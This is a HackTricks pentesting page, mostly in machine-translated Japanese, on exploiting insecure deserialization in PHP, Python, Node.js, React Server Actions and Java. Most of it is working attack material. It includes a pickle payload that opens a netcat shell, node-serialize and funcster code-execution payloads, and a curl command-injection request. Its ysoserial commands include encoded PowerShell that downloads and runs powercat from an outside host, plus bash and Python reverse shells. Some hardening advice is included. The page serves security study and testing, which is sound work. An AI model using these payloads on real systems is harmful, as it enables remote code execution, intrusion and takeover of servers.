Deserialization
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Serialization は、オブジェクトを保存したり、通信の一部として送信したりする目的で、オブジェクトを保持できる形式に変換する手法として理解されます。この手法は、オブジェクトの構造と状態を維持したまま後で再作成できるようにするために一般的に使用されます。
Deserialization はこれに対するプロセスで、特定の形式で構造化されたデータを取り出し、再びオブジェクトに復元することを含みます。
Deserialization は危険になり得ます。なぜなら、攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築中にアプリケーションで予期しない挙動を引き起こしたりする可能性があるからです。
PHP
PHP では、シリアライズおよびデシリアライズの過程で特定のマジックメソッドが利用されます:
__sleep: オブジェクトがシリアライズされる際に呼び出されます。このメソッドはシリアライズすべきオブジェクトのプロパティ名の配列を返すべきです。保留中のデータをコミットしたり、類似のクリーンアップ処理を行うために一般的に使われます。__wakeup: オブジェクトがデシリアライズされる際に呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立したり、その他の再初期化処理を行うために使用されます。__unserialize: オブジェクトがデシリアライズされるときに(存在する場合は)__wakeupの代わりに呼び出されます。__wakeupと比べてデシリアライズ処理をより細かく制御できます。__destruct: オブジェクトが破棄される直前、またはスクリプト終了時に呼び出されます。ファイルハンドルやデータベース接続を閉じるなどのクリーンアップ処理に通常使われます。__toString: オブジェクトを文字列として扱えるようにするメソッドです。内部で呼び出される関数に基づいてファイルを読み取るなどの処理に用いられ、オブジェクトのテキスト表現を提供します。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying yo print some attribute, but apparently that’s not happening anymore.
Warning
The method
__unserialize(array $data)is called instead of__wakeup()if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
結果を見ると、オブジェクトがデシリアライズされるときに関数 __wakeup と __destruct が呼ばれているのが分かります。いくつかのチュートリアルでは、属性を出力しようとすると __toString が呼ばれると記載されていますが、どうやらそれはもう起きていないようです。
詳しい PHP の例 は次で読むことができます: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, here https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf or here https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
You could abuse the PHP autoload functionality to load arbitrary php files and more:
PHP - Deserialization + Autoload Classes
Laravel Livewire Hydration Chains
Livewire 3 synthesizers can be coerced into instantiating arbitrary gadget graphs (with or without APP_KEY) to reach Laravel Queueable/SerializableClosure sinks:
Livewire Hydration Synthesizer Abuse
Serializing Referenced Values
何らかの理由で値を他のシリアライズされた値への参照としてシリアライズしたい場合は、次のようにできます:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHP Object Injection を allowed_classes で防ぐ
[!INFO]
unserialize()の 第2引数($options配列)へのサポートは PHP 7.0 で追加されました。古いバージョンではこの関数はシリアライズされた文字列のみを受け取り、どのクラスがインスタンス化されるかを制限することができません。
unserialize() は、特に指定しない限り、シリアライズされたストリーム内で見つけた すべてのクラスをインスタンス化 します。PHP 7 以降、この挙動は allowed_classes オプションで制限できます:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
もし allowed_classes が省略される または コードが PHP < 7.0 上で動作している場合、この呼び出しは 危険 になります。攻撃者は __wakeup() や __destruct() のようなマジックメソッドを悪用するペイロードを作成して Remote Code Execution (RCE) を達成できます。
実例: Everest Forms (WordPress) CVE-2025-52709
WordPress プラグイン Everest Forms ≤ 3.2.2 はヘルパーラッパーで防御しようとしましたが、古い PHP バージョンを考慮していませんでした:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
まだ PHP ≤ 7.0 を実行しているサーバーでは、この2番目のブランチは管理者が悪意のあるフォーム送信を開いたときに古典的な PHP Object Injection を引き起こしました。最小限のエクスプロイトペイロードは次のようになります:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
管理者がエントリを閲覧した瞬間、オブジェクトがインスタンス化され、SomeClass::__destruct() が実行され、その結果 arbitrary code execution が発生しました。
要点
unserialize()を呼ぶ際は常に['allowed_classes' => false](または厳格なホワイトリスト)を渡すこと。- 防御用ラッパーを監査すること — それらはしばしばレガシーな PHP ブランチを見落とす。
- 単に PHP ≥ 7.x にアップグレードするだけでは不十分です:そのオプションは明示的に指定する必要があります。
PHPGGC (ysoserial for PHP)
PHPGGC は、PHP の deserializations を悪用するための payloads を生成するのに役立ちます。
注意:多くの場合、アプリケーションのソースコード内で deserialization を悪用する方法を見つけられない ことがありますが、外部の PHP extensions のコードを abuse できる 可能性があります。
可能であれば、サーバの phpinfo() を確認し、search on the internet(あるいは PHPGGC の gadgets)で悪用可能な gadget がないか探してみてください。
phar:// metadata deserialization
もしファイルを単に読み取っており、その内部の php コードを実行していない LFI を見つけた場合、例えば file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). のような関数を使っている場合、phar プロトコルを使ってファイルを reading する際に発生する deserialization を悪用できる可能性があります。
詳細は以下のポストを参照してください:
Python
Pickle
オブジェクトが unpickle されると、関数 ___reduce___ が実行されます。
悪用されると、サーバはエラーを返す可能性があります。
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you’re running python3.
バイパス手法を確認する前に、python3を実行している場合は、python2と互換性のあるオブジェクトを生成するために print(base64.b64encode(pickle.dumps(P(),2))) を試してください。
For more information about escaping from pickle jails check:
pickle jails からの脱出に関する詳細は次を参照してください:
Yaml & jsonpickle
以下のページでは、PythonのYAMLライブラリにおける abuse an unsafe deserialization in yamls の手法を紹介し、Pickle, PyYAML, jsonpickle and ruamel.yaml 用のRCEデシリアライズペイロードを生成するツールで締めくくります:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python’s Prototype Pollution)
NodeJS
JS Magic Functions
JSは、PHPやPythonのようにオブジェクトを生成するだけで実行される 「magic」関数を持ちません。ただし、関数の中には直接呼び出さなくても頻繁に使用されるものがあり、たとえば toString, valueOf, toJSON などがあります。
デシリアライズを悪用すると、これらの関数を改ざんして他のコードを実行させることができ(potentially abusing prototype pollutions)、それらが呼び出されたときに任意のコードを実行させることができます。
Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Follow this link for more info.
関数を直接呼び出さずに実行するもう一つの**「magic」な方法は、async function(promise)によって返されるオブジェクトを改ざんすることです。というのも、その戻りオブジェクトを別のpromiseに変換し、関数型の“then”というpropertyを持たせると、それが別のpromiseから返されただけで実行される**からです。詳しくは _this link_ を参照してください.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ と prototype 汚染
この手法について学びたい場合は、次のチュートリアルを参照してください:
NodeJS - proto & prototype Pollution
node-serialize
このライブラリは関数をシリアライズできます。例:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
シリアライズされたオブジェクトは次のようになります:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.
Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.
.png)
.png)
As you may see in the last chunk of code, if the flag is found eval is used to deserialize the function, so basically user input if being used inside the eval function.
しかし、例を見ると、関数がシリアライズされると _$$ND_FUNC$$_ フラグがシリアライズされたオブジェクトに付加されることがわかります。
node-serialize/lib/serialize.js ファイル内でも同じフラグとそれがどのように使われているかを確認できます。
.png)
.png)
最後のコードチャンクでわかるように、フラグが見つかった場合、eval が関数のデシリアライズに使用されます。つまり基本的に ユーザー入力が eval 関数の中で使用されている ということです。
しかし、単に関数をシリアライズするだけではそれを実行することはできません。実行させるためにはコードのどこかがこの例では y.rce を呼び出す 必要があり、それは非常に ありそうにありません。
とはいえ、オブジェクトがデシリアライズされる際にシリアライズされた関数を自動実行させるために、シリアライズ済みオブジェクトを改変する、括弧を追加する といったことが可能です。
In the next chunk of code notice the last parenthesis and how the unserialize function will automatically execute the code:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
前述のとおり、このライブラリは_$$ND_FUNC$$_の後のコードを取得し、evalを使って実行します。したがって、コードを自動実行するには、関数作成部分と最後の括弧を削除して、JSのワンライナーを直接実行するだけです。以下の例のように:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
You can find here further information about how to exploit this vulnerability.
funcster
funcster の注目すべき点は、standard built-in objects にアクセスできないことです。これらは利用可能なスコープの外にあり、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行を防ぎます。そのため、console.log() や require(something) のようなコマンドを使用すると “ReferenceError: console is not defined” のような例外が発生します。
この制限にもかかわらず、特定の手法により全ての standard built-in objects を含むグローバルコンテキストへの完全なアクセスを復元することが可能です。グローバルコンテキストを直接利用することでこの制限を回避できます。例えば、以下のスニペットを使用してアクセスを再確立できます:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
詳しくは more information read this source。
serialize-javascript
The serialize-javascript packageはシリアライズ専用に設計されており、組み込みのデシリアライズ機能を持ちません。ユーザーはデシリアライズの方法を自分で実装する必要があります。公式の例では、シリアライズされたデータをデシリアライズするために直接 eval を使用することが示されています:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
この関数がオブジェクトをdeserializeするために使用されている場合、簡単に悪用できます:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
詳細 このソースの詳細を読む.
Cryo library
以下のページでは、このライブラリを悪用して任意のコマンドを実行する方法に関する情報が見つかります:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
React Server Components (RSC) は react-server-dom-webpack (RSDW) を利用して、multipart/form-data として送信される server action の送信内容をデコードします。各アクション送信には次のものが含まれます:
$ACTION_REF_<n>パートは呼び出されるアクションを参照します。$ACTION_<n>:<m>パートはその本文が JSON で、例:{"id":"module-path#export","bound":[arg0,arg1,...]}
バージョン 19.2.0 では、decodeAction(formData, serverManifest) ヘルパーは id string(どの module export を呼び出すかを選択する)と bound array(引数)を盲目的に信頼します。攻撃者が decodeAction にリクエストを転送するエンドポイントに到達できれば、React フロントエンドがなくても攻撃者制御のパラメータで任意の exported server action を呼び出すことができます (CVE-2025-55182)。エンドツーエンドの手順は次の通りです:
- アクション識別子を特定する。 Bundle output、error traces、または leaked manifests は通常
app/server-actions#generateReportのような文字列を明らかにします。 - multipart ペイロードを再作成する。
$ACTION_REF_0パートと識別子および任意の引数を含む$ACTION_0:0の JSON 本文を作成します。 decodeActionに処理させる。 ヘルパーはserverManifestからモジュールを解決し、エクスポートを import してサーバーが即座に実行する呼び出し可能な関数を返します。
例: /formaction に送るペイロード:
POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
または curl で:
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
bound 配列は server-action パラメータに直接設定されます。脆弱なラボでは、ガジェットは次のようになります:
const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);
async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}
Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.
An attacker never needs a real React client—any HTTP tool that emits the $ACTION_* multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.
Java - HTTP
In Java, deserialization callbacks are executed during the process of deserialization. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.
指紋
ホワイトボックス
コードベース内の潜在的な serialization 脆弱性を特定するには、以下を検索してください:
Serializableインターフェースを実装しているクラス。java.io.ObjectInputStream、readObject、readUnshare関数の使用。
特に注意すべき点:
- 外部ユーザによって定義されたパラメータで利用される
XMLDecoder。 XStreamのfromXMLメソッド(特に XStream バージョンが 1.46 以下の場合) — serialization issues に弱い可能性があります。ObjectInputStreamとreadObjectの組み合わせ。readObject、readObjectNodData、readResolve、readExternalといったメソッドの実装。ObjectInputStream.readUnshared。Serializableの一般的な使用。
ブラックボックス
ブラックボックステストでは、java serialized objects(ObjectInputStream 起源)を示す特定の signatures または “Magic Bytes” を探します:
- 16進パターン:
AC ED 00 05. - Base64 パターン:
rO0. - HTTP レスポンスヘッダで
Content-typeがapplication/x-java-serialized-objectに設定されているもの。 - 事前に圧縮されていることを示す 16進パターン:
1F 8B 08 00. - 事前に圧縮されていることを示す Base64 パターン:
H4sIA. .faces拡張子の Web ファイルとfaces.ViewStateパラメータ。ウェブアプリケーションでこれらのパターンを発見した場合、post about Java JSF ViewState Deserialization に詳述されているとおりの調査を行うべきです。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
脆弱性があるか確認する
learn about how does a Java Deserialized exploit work を学びたい場合は、Basic Java Deserialization、Java DNS Deserialization、およびCommonsCollection1 Payloadを参照してください。
SignedObject-gated deserialization and pre-auth reachability
最近のコードベースでは、java.security.SignedObject で deserialization をラップし、署名を検証してから getObject() (which deserializes the inner object) を呼び出すことがあります。これは arbitrary top-level gadget classes を防ぎますが、攻撃者が有効な署名を入手できる(例: private-key compromise や signing oracle)の場合、依然として exploitable になり得ます。さらに、error-handling flows により unauthenticated users 向けに session-bound tokens が発行され、本来保護されている sinks が pre-auth の段階で公開されてしまうことがあります。
For a concrete case study with requests, IoCs, and hardening guidance, see:
Java Signedobject Gated Deserialization
White Box Test
既知の脆弱性を持つアプリケーションがインストールされているかどうかを確認できます。
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
You could try to すべてのライブラリを確認する known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
When running gadgetinspector (after building it) don’t care about the tons of warnings/errors that it’s going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won’t create an exploit and it may indicate false positives.
Black Box Test
Using the Burp extension gadgetprobe you can identify どのライブラリが利用可能か (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.
Using Burp extension Java Deserialization Scanner you can 特定する 脆弱なライブラリ exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.
You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.
Serialization Test
Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to シリアライズされたオブジェクト内のデータを変更して一部のチェックをバイパスする (maybe grant you admin privileges inside a webapp).
If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.
Exploit
ysoserial
The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the “URLDNS” payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the “URLDNS” payload is not working but other RCE payload is.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
java.lang.Runtime.exec() のペイロードを作成する際、実行の出力をリダイレクトするための “>” や “|”、コマンドを実行するための “$()”、あるいはコマンドにpass argumentsをspacesで区切って渡すことなどは使用できません(echo -n "hello world" は可能ですが、python2 -c 'print "Hello World"' のようにはできません)。ペイロードを正しくエンコードするには、このウェブページ を使用できます。
次のスクリプトを使って、Windows と Linux 向けのすべての可能な code executionペイロードを作成し、脆弱なウェブページでテストしてください:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
You can 使用する https://github.com/pwntester/SerialKillerBypassGadgetCollection ysoserialと一緒にさらに多くのexploitsを作成できます。このツールが発表された講演のスライドに、このツールの詳細があります: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec は、JavaのさまざまなJsonおよびYmlシリアライズライブラリをexploitするためのpayloadsを生成するために使用できます。
プロジェクトをコンパイルするために、pom.xmlにこれらの依存関係を追加する必要がありました:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
maven をインストールし、プロジェクトをコンパイルしてください:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
このJavaのJSONライブラリについて詳しくは次を参照してください: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
ラボ
- ysoserial payloads をテストしたい場合、このwebappを実行できます: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
なぜ
Javaは次のような様々な用途でシリアライズを多用します:
- HTTP requests: パラメータ、ViewState、クッキーなどの管理でシリアライズが広く用いられます。
- RMI (Remote Method Invocation): Java RMIプロトコルは完全にシリアライズに依存しており、Javaアプリケーションのリモート通信の基盤です。
- RMI over HTTP: この手法はJavaベースのリッチクライアントのwebアプリケーションで一般的に使われ、すべてのオブジェクト通信でシリアライズを利用します。
- JMX (Java Management Extensions): JMXはネットワーク上でオブジェクトを送受信する際にシリアライズを利用します。
- Custom Protocols: Javaでは標準的な慣習として生のJavaオブジェクトを送信することがあり、これは今後のexploitの例で示されます。
対策
Transient objects
Serializableを実装するクラスは、シリアライズされてほしくないクラス内の任意のオブジェクトをtransientとして定義できます。例えば:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Serializable を実装する必要があるクラスのシリアライズを避ける
クラス階層のために特定の オブジェクトが Serializable を実装しなければならない 場合、意図しないデシリアライズのリスクがあります。これを防ぐには、これらのオブジェクトがデシリアライズされないよう、常に例外を投げる final な readObject() メソッドを定義してください。以下に例を示します:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
JavaにおけるDeserializationのセキュリティ強化
Customizing java.io.ObjectInputStream は deserialization プロセスのセキュリティを高める実用的な方法です。この方法は以下の場合に適しています:
- deserialization コードがあなたの管理下にある場合
- deserialization の対象となるクラスが既知である場合
resolveClass() メソッドをオーバーライドして、deserialization を許可されたクラスのみに制限します。これにより、明示的に許可されたクラス(例えば以下の例では Bicycle クラスのみ)以外のクラスの deserialization を防げます:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement はコードの修正ができない場合のフォールバックソリューションを提供します。この方法は主に JVM パラメータを使用して blacklisting harmful classes を行う場合に適用されます:
-javaagent:name-of-agent.jar
これは、即時のコード変更が現実的でない環境に最適な、deserialization を動的に保護する方法を提供します。
例は rO0 by Contrast Security を確認してください
Implementing Serialization Filters: Java 9 は ObjectInputFilter インターフェースを通じて serialization filters を導入しました。これにより、serialized オブジェクトが deserialized される前に満たすべき条件を指定する強力な仕組みが提供されます。これらのフィルタはグローバルに、またはストリームごとに適用でき、deserialization プロセスを細かく制御できます。
serialization filters を利用するには、すべての deserialization 操作に適用されるグローバルフィルタを設定するか、特定のストリーム向けに動的に設定できます。例えば:
